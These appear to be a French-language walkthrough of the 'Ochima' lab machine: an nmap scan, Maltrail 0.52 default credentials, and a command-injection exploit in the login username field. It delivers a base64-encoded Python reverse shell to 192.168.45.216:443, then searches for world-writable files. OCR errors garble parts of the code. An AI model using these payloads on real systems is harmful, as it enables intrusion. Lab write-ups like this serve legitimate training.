Linux - Ochima :)

mercredi 16 juillet 2025 16:12

sudo nmap -sVC -p- 192.168.171.32 --open

[sudo] password for alice:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 20:53 CEST

Nmap scan report for 192.168.171.32

Host is up (0.013s latency).

Not shown: 65532 filtered tcp ports (no-response)

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 256 b9:bc:8f:01:3f:85:5d:f9:5¢:d9:fb:b6:15:a0:1e:74 (ECDSA)

| _ 256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)

80/tcp open http Apache httpd 2.4.52 ((Ubuntu))

| _http-title: Apache2 Ubuntu Default Page: It works

| _http-server-header: Apache/2.4.52 (Ubuntu)

8338/tcp open http Python http.server 3.5 - 3.10

| _http-server-header: Maltrail/0.52

| _http-title: Maltrail

| http-robots.txt: 1 disallowed entry

|/

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.83 seconds

altrail 2025-07-16 (today) ' Documentation | Wiki | Issues | Loglin ||

[EVents

25 ~ |threats per page Q Clear Print Tools
[threat $ sensor # events $| severity $| first scen 3 “sparkine $ arc ip $| src_port $| dstip § dst port $| proto $ type |

Mo matching threats found

Showing 0 to 0 of O total threats

Authentication

User's guide

Reporting interface

When entering the Servetr's reporting interface (i.e. via the address defined by options
HTTP_ADDRESS and HTTP_PORT ), user will be presented with the following authentication dialog.
User has to enter the proper credentials that have been set by the server's administrator inside the
configuration file maltrail.conf (Note: default credentials are admin:changeme! ):

Authentication

Username: |admin

Password: |eesssssse

On arrive a se loguer
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def curl_cmd(my_ip, my_port, target_url):
payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK _STREAM);s.connect(("{my_ip}",
{my_port}));os.dup2(s.fileno(),0);0s.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);pty.spawn("/bin/sh" )" "

encoded_payload = base64.b64encode(payload.encode()).decode()
command = f"curl '{target_url}' --data 'username=; echo+\"{encoded_payload}\"+|+base64+-d+|+sh" '"
os.system(command)

Il'y a une vulnérabilité dans le code login ou on peut injecter une commande. Avec nmap on sait que
le site contient du python donc :

;'echo+\\"

python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.216",443
));0s.dup2(s.fileno(),0); os.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);import pty; pty.spawn("bash")"

cHI0aG9uMyAtYyAnaW 1wb3JOIHNvY2tldCxzdWJIwcecm9jZXNzLG9z03M9c29ja2VOLNNvY2tldChzb2NrZ
XQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFIFQUOpO3MuY29ubmVjdCgoljE5Mi4xNjguNDUuMjE2liw0
NDMpKTtvey5kdXAyKHMuZmlsZW5vKCksMCk71G9zLmR1cDlocy5maWxlbm8oKSwxKTtveySkdXAyKH
MuZmlsZW5vKCksMik7aW1wb3J0IHBOeTsgcHR5LnNwYXduKCJiYXNolikn

Je vais juste installer I'exploit c'est plus rapide.

Et j'ai le shell avec le port 80.

find / -not -type | -perm -o+w 2>/dev/null
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